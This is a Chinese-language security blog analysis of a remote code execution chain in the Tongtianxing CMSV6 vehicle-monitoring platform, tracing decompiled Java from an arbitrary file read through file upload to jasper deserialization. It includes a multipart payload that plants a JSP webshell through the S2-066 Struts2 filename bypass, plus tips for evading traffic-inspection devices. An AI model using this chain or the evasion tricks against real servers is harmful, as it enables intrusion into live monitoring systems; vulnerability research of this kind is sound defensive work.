浅析通天星CMSV6车载定位监控平台远程代码执行漏洞
写在前面
看了一下通告看着还是比较有意思的,通天星CMSV6车载定位监控平台远程代码执行漏洞
第一步是通过任意文件读取漏洞,读取log日志获取admin的session信息
第二步通过默认密码登录ftp服务器上传文件(或通过后台任意文件上传漏洞)
第三步触发上传文件中的恶意代码
正文
采用了经典SSH架构
任意文件读取
关于任意文件读取,从官方安全公告也不难看出:
(中危)修复StandardSchoolBusAction_downLoad.action接口任意文件下载问题
漏洞点位于StandardSchoolBusAction的downLoad功能,这部分访问规则的配置看struts2.xml
即可
定义了class与mothod的访问方式
1
|
<action name="**/*_*.action" class="{2}" method="{3}">
|
经过简单的分析发现,实际漏洞点在com.gpsCommon.action.CommonBaseAction#downLoad
,代码逻辑比较简单就不详细分析了,相关代码如下,可以看到读取的文件不仅可以是使用绝对路径,也可以使用相对路径读取任意文件
123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899 |
public String downLoad() { int result = 0; try { String filePath = this.getDownloadFileRealPath(this.getRequest()); if ((!filePath.contains("tomcat/") || filePath.contains("tomcat/ttxapps")) && !filePath.contains(".xml") && !filePath.contains("WEB-INF") && !filePath.contains("classes")) { if (!AssertUtils.isNull(filePath)) { InputStream ins = null; BufferedInputStream bins = null; OutputStream outs = null; BufferedOutputStream bouts = null; Integer requestStringEx = this.getRequestInteger("isTure"); Integer isStream = this.getRequestInteger("isStream"); Integer isDel = this.getRequestInteger("isDel"); String fileRealPath = null; if (requestStringEx != null && requestStringEx == 1) { fileRealPath = filePath; } else { fileRealPath = this.getDownloadFileRealPath(this.getServletContext(), filePath); } File file = new File(fileRealPath); if (file.exists()) { ins = new FileInputStream(fileRealPath); bins = new BufferedInputStream(ins); outs = this.getResponse().getOutputStream(); bouts = new BufferedOutputStream(outs); if (isStream == null || isStream != 1) { this.setDownLoadParam(this.getRequest(), this.getResponse(), file.getName()); } int b = false; byte[] buffer = new byte[512]; int b; while((b = bins.read(buffer)) != -1) { bouts.write(buffer, 0, b); } bouts.flush(); ins.close(); bins.close(); outs.close(); bouts.close(); if (isDel != null && isDel == 1 && file.exists()) { file.delete(); } } else { result = 44; this.addCustomResponse(ACTION_RESULT, 44); this.addCustomResponse(ACTION_RESULT_TIP, "File Not Exist!"); this.log.error("下载的文件不存在"); } } else { result = 8; this.addCustomResponse(ACTION_RESULT, 8); this.addCustomResponse(ACTION_RESULT_TIP, "Request Param Error!"); this.log.error("下载文件时参数错误"); } } else { result = 24; this.addCustomResponse(ACTION_RESULT, 24); this.addCustomResponse(ACTION_RESULT_TIP, "Permission denied!"); this.log.error("用户无权限下载Tomcat内的文件"); } } catch (Exception var14) { this.log.error(var14.getMessage(), var14); result = 4; this.addCustomResponse(ACTION_RESULT, 4); this.addCustomResponse(ACTION_RESULT_TIP, "Request Exception!"); } return this.getReturnParam(result);}protected String getDownloadFileRealPath(HttpServletRequest request) { return this.getRequestStringEx("path");}public String getRequestStringEx(String parameter) { return RequestUtil.getRequestStringEx(parameter);}public static String getRequestStringEx(String parameter) { try { HttpServletRequest request = getRequest(); if (request == null) { return null; } else { request.setCharacterEncoding("UTF-8"); String param = request.getParameter(parameter); return param != null ? URLDecoder.decode(param, StandardCharsets.UTF_8) : null; } } catch (Exception var3) { log.error(var3.getMessage(), var3); return null; }} |
通过任意文件读取我们能很容易读取到session信息
另外多提一嘴,漏洞点com.gpsCommon.action.CommonBaseAction#downLoad
在抽象类当中,通过将tomcat下class手动打包为jar后分析,不难发现实际受影响的路由多达320个,因此实际利用时我们不必拘泥与官方公告提到的一种
后台文件上传
文件上传有两种方式,一种通过FTP服务,如果用户为更改默认密码那么即可使用其登录上传文件
另一种,既然有了session,我们便很容易能够使用此session调用后台接口,比如WebuploaderAction#ajaxAttachAllFileUpload
但很可惜的是代码中有关于上传文件后缀的严格限制,因此我们无法实现直接上传webshell文件
12 |
String getsuffix = getsuffixEx(fileName);if (!limitType(getsuffix)) { |
反序列化
但我们不必灰心,在公告中我们不难发现上传了一些名为jasper
后缀的文件
因此我们需要去寻找加载恶意jasper文件的路由,在com.gps808.operationManagement.action.StandardLineAction#report
12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667686970717273747576 |
public void report() { try { String format = this.getRequestString("format"); String name = this.getRequestString("name"); String lid = this.getRequestString("id"); String direct = this.getRequestString("direct"); String disposition = this.getRequestString("disposition"); String reportTitle = ""; StandardCompany line = (StandardCompany)this.standardLineService.getObject(StandardCompany.class, Integer.parseInt(lid)); if (line != null) { reportTitle = line.getName(); if (direct != null) { if (direct.equals("0")) { reportTitle = reportTitle + "S"; } else if (direct.equals("1")) { reportTitle = reportTitle + "X"; } } } AjaxDto<StandardLineStationRelationStation> stationRelation = this.standardLineService.getLineStationInfos(Integer.parseInt(lid), Integer.parseInt(direct), 1, " order by sindex asc ", (Pagination)null); List<Map> list = new ArrayList(); String language = this.getAndUpdateSessionLanguage(); if (stationRelation != null && stationRelation.getPageList() != null) { int i = 0; for(int j = stationRelation.getPageList().size(); i < j; ++i) { StandardLineStationRelationStation relation = (StandardLineStationRelationStation)stationRelation.getPageList().get(i); Map map = new HashMap(); map.put("sindex", relation.getSindex()); map.put("name", relation.getStation().getName()); map.put("direct", this.getStationDirectEx(relation.getStation().getDirect(), language)); map.put("stype", this.getStationTypeEx(relation.getStype(), language)); map.put("lngIn", GpsUtil.formatPosition(relation.getStation().getLngIn())); map.put("latIn", GpsUtil.formatPosition(relation.getStation().getLatIn())); map.put("angleIn", relation.getStation().getAngleIn()); map.put("speed", GpsUtil.getFormatSpeed(relation.getSpeed(), 1, new Boolean[0])); map.put("len", GpsUtil.getFormatLiCheng(relation.getLen())); list.add(map); } } Map mapHeads = new HashMap(); mapHeads.put("sindex", LanguageCache.getLanguageTextEx("line_station_index", language)); mapHeads.put("name", LanguageCache.getLanguageTextEx("line_station_name", language)); mapHeads.put("direct", LanguageCache.getLanguageTextEx("line_station_direction", language)); mapHeads.put("stype", LanguageCache.getLanguageTextEx("line_station_type", language)); mapHeads.put("lngIn", LanguageCache.getLanguageTextEx("line_station_in_lng", language)); mapHeads.put("latIn", LanguageCache.getLanguageTextEx("line_station_in_lat", language)); mapHeads.put("angleIn", LanguageCache.getLanguageTextEx("line_station_in_angle", language)); mapHeads.put("speed", LanguageCache.getLanguageTextEx("line_station_limit_speed", language) + " (KM/H)"); mapHeads.put("len", LanguageCache.getLanguageTextEx("line_station_distance", language) + " (KM)"); ReportPrint print = null; try { print = this.getReportCreate().createReport(name); print.setMapHeads(mapHeads); print.setReportTitle(reportTitle); print.setDateSource(list); print.setFormat(format); print.setDocumentName(name); print.setDisposition(disposition); print.exportReport(); } catch (IOException var15) { this.log.error(var15.getMessage(), var15); } catch (ServletException var16) { this.log.error(var16.getMessage(), var16); } catch (Exception var17) { this.log.error(var17.getMessage(), var17); } } catch (Exception var18) { this.log.error(var18.getMessage(), var18); this.addCustomResponse(ACTION_RESULT, 1); }} |
在这些代码中我们重点关注this.getReportCreate().createReport(name);
12345678910111213141516171819 |
// com.gpsCommon.action.CommonBaseActionprotected ReportCreater getReportCreate() { if (this.reportCreate == null) { this.reportCreate = new ReportCreater(); this.reportCreate.setJasperReportPath(ServletActionContext.getServletContext().getRealPath("WEB-INF\\jasper")); } return this.reportCreate;}// com.framework.jasperReports.ReportCreater#createReportpublic ReportPrint createReport(String reportKey) throws IOException { try { return this._createReport(reportKey); } catch (JRException var3) { this.log.error(var3.getMessage(), var3); throw new IOException(); }} |
继续跟进_createReport
的调用,
12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667686970717273747576 |
// com.framework.jasperReports.ReportCreaterprivate ReportPrint _createReport(String reportKey) throws JRException, IOException { JasperReport jasperReport = this.getJasperReport(reportKey); Map parameters = this.getParameters_(reportKey); ReportPrint reportPrint = new ReportPrint(jasperReport, parameters); return reportPrint;}private JasperReport getJasperReport(String reportKey) throws IOException, JRException { JasperReport jasperReport = null; if (this.jasperDesignMap.containsKey(reportKey)) { jasperReport = (JasperReport)this.jasperDesignMap.get(reportKey); } else { jasperReport = this.getJasperReportFromFile(reportKey); this.jasperDesignMap.put(reportKey, jasperReport); } return jasperReport;}private JasperReport getJasperReportFromFile(String reportKey) throws IOException, JRException { String filePath = this.jasperReportPath + "\\" + reportKey + ".jasper"; File reportFile = null; JasperReport jasperReport = null; reportFile = new File(filePath); if (reportFile.exists() && reportFile.isFile()) { jasperReport = (JasperReport)JRLoader.loadObject(reportFile); } return jasperReport;}// net.sf.jasperreports.engine.util.JRLoaderpublic static Object loadObject(File file) throws JRException { return loadObject(DefaultJasperReportsContext.getInstance(), (File)file);}public static Object loadObject(JasperReportsContext jasperReportsContext, File file) throws JRException { if (file.exists() && file.isFile()) { Object obj = null; FileInputStream fis = null; ObjectInputStream ois = null; try { fis = new FileInputStream(file); BufferedInputStream bufferedIn = new BufferedInputStream(fis); ois = new ContextClassLoaderObjectInputStream(jasperReportsContext, bufferedIn); obj = ois.readObject(); } catch (IOException var17) { throw new JRException("util.loader.object.from.file.loading.error", new Object[]{file}, var17); } catch (ClassNotFoundException var18) { throw new JRException("util.loader.class.not.found.from.file", new Object[]{file}, var18); } finally { if (ois != null) { try { ois.close(); } catch (IOException var16) { } } if (fis != null) { try { fis.close(); } catch (IOException var15) { } } } return obj; } else { throw new JRException(new FileNotFoundException(String.valueOf(file))); }} |
从以下调用链不难发现最终会通过文件内容触发反序列化执行,并且在这过程中文件名未做校验可以穿越到FTP服务目录下
com.framework.jasperReports.ReportCreater#_createReport
=>com.framework.jasperReports.ReportCreater#getJasperReport
=>com.framework.jasperReports.ReportCreater#getJasperReportFromFile
=>net.sf.jasperreports.engine.util.JRLoader#loadObject
=>net.sf.jasperreports.engine.util.ContextClassLoaderObjectInputStream#readObject
因此最终漏洞的完整利用就出来了
尝试突破文件上传限制
但我们也知道如果仅仅是依赖ftp默认用户名实现文件上传的话那可就太难了,在开始前简单聊一下struts2的配置
在配置中写到了action的访问方式,但我们的路由访问并未出现全类名,那它是怎么找到具体的类的呢?
1
|
<action name="*_*.action" class="{1}" method="{2}">
|
经过查找,可以在applicationContext-xxxx.xml
中定义的bean中找到答案,我们可以直接使用bean-name得到这个类
12 |
<bean name="StandardApiAction" class="com.gps808.api.action.StandardApiAction" scope="prototype" parent="standardUserBaseAction">xxxxxx |
而如果这个类未在xml中定义我们就需要使用全类名来标识这个类,此时我们便可以将目标锁定到com.framework.web.action.FileUploadAction#upload
中
123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110 |
//// Source code recreated from a .class file by IntelliJ IDEA// (powered by FernFlower decompiler)//package com.framework.web.action;import java.io.BufferedInputStream;import java.io.BufferedOutputStream;import java.io.File;import java.io.FileInputStream;import java.io.FileOutputStream;import java.io.IOException;import java.util.List;public class FileUploadAction extends BaseAction { private static final long serialVersionUID = 1L; private String describe; private List<File> uploadFile; private List<String> uploadFileFileName; private List<String> uploadFileContentType; public FileUploadAction() { } public boolean hasOperatorPrivi() { return true; } public void upload() { for(int i = 0; i < this.uploadFileFileName.size(); ++i) { BufferedInputStream bis = null; BufferedOutputStream bos = null; String fileName = (String)this.uploadFileFileName.get(i); try { if (!"".equals(fileName)) { FileInputStream fis = new FileInputStream((File)this.uploadFile.get(i)); FileOutputStream fos = new FileOutputStream("C:\\" + fileName); bis = new BufferedInputStream(fis); bos = new BufferedOutputStream(fos); byte[] b = new byte[1024]; int len = true; int len; while((len = bis.read(b)) != -1) { bos.write(b, 0, len); } } } catch (Exception var17) { } finally { try { if (bis != null) { bis.close(); } if (bos != null) { bos.close(); } } catch (IOException var16) { } } } } public String image() throws Exception { try { this.upload(); } catch (Exception var2) { this.log.error(var2.getMessage(), var2); this.addCustomResponse(ACTION_RESULT, 1); } return "success"; } public String getDescribe() { return this.describe; } public void setDescribe(String describe) { this.describe = describe; } public List<File> getUploadFile() { return this.uploadFile; } public void setUploadFile(List<File> uploadFile) { this.uploadFile = uploadFile; } public List<String> getUploadFileFileName() { return this.uploadFileFileName; } public void setUploadFileFileName(List<String> uploadFileFileName) { this.uploadFileFileName = uploadFileFileName; } public List<String> getUploadFileContentType() { return this.uploadFileContentType; } public void setUploadFileContentType(List<String> uploadFileContentType) { this.uploadFileContentType = uploadFileContentType; }} |
可以在代码中看到直接的路径拼接,FileOutputStream fos = new FileOutputStream("C:\\" + fileName);
,因此我们便可以直接上传jasper
文件并触发反序列化了
另一方面既然可以任意写入,我们很容易想到在子目录下写入webshell文件,但由于是struts2的上传处理,在org.apache.struts2.interceptor.FileUploadInterceptor
中,在这个拦截器最终获取文件名时,会处理带\
以及/
的文件名
12345678910111213 |
protected String getCanonicalName(final String originalFileName) { String fileName = originalFileName; int forwardSlash = fileName.lastIndexOf('/'); int backwardSlash = fileName.lastIndexOf('\\'); if (forwardSlash != -1 && forwardSlash > backwardSlash) { fileName = fileName.substring(forwardSlash + 1); } else { fileName = fileName.substring(backwardSlash + 1); } return fileName; } |
这时候怎么办呢?我们知道struts2在23年年底出了一个新漏洞,这时候便可以排出用场了,忘了的可以回顾我之前的文章,Apache Struts2 文件上传分析(S2-066)
因此我们便能够构造,达到前台RCE的效果
1234567891011 |
--------------------------HaQDiSzdPIerngHCcHgQNrLjEmThVzfuEVDTUvfvContent-Disposition: form-data; name="UploadFile";filename="z12.jsp";Content-Type: application/vnd.openxmlformats-officedocument.wordprocessingml.document<%out.print("Hacked By Y4tacker");%>--------------------------HaQDiSzdPIerngHCcHgQNrLjEmThVzfuEVDTUvfvContent-Disposition: form-data; name="uploadFileFileName";Program Files\CMSServerV6\tomcat\webapps\gpsweb\1.jsp--------------------------HaQDiSzdPIerngHCcHgQNrLjEmThVzfuEVDTUvfv-- |
但很可惜新版本中struts2的依赖更新到了2.5.33的安全版本,并且将com.framework.web.action.FileUploadAction#upload
强行设置了路径404
并移除了上传处理逻辑,因此在新版本中也便失效了
结合S2的漏洞时间可以大胆猜测也许是在年底前删除的?当然由于我没有代码所以无处验证了,在实战环境中可以多做尝试
对抗流量设备的一些尝试
-
不仅仅可以读取log_info.log获取用户session,还可以尝试读取web.xml文件,在当中配置了Druid监控的用户名以及密码,在老版本中这个配置默认启用,新版本中druid监控成为了可选项,但不失为一种漏洞利用的尝试
-
使用全类名替代
bean
的获取形式,假如流量设备拦截路由为/StandardABCAction_downLoad
,我们完全可以使用/com.xxx.xxxxAction_downLoad
的形式尝试绕过 -
我们不仅可以使用官方公告中使用的
StandardSchoolBusAction
路由,经过分析凡是继承了com.gpsCommon.action.CommonBaseAction
的类均能使用
- source:y4tacker
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论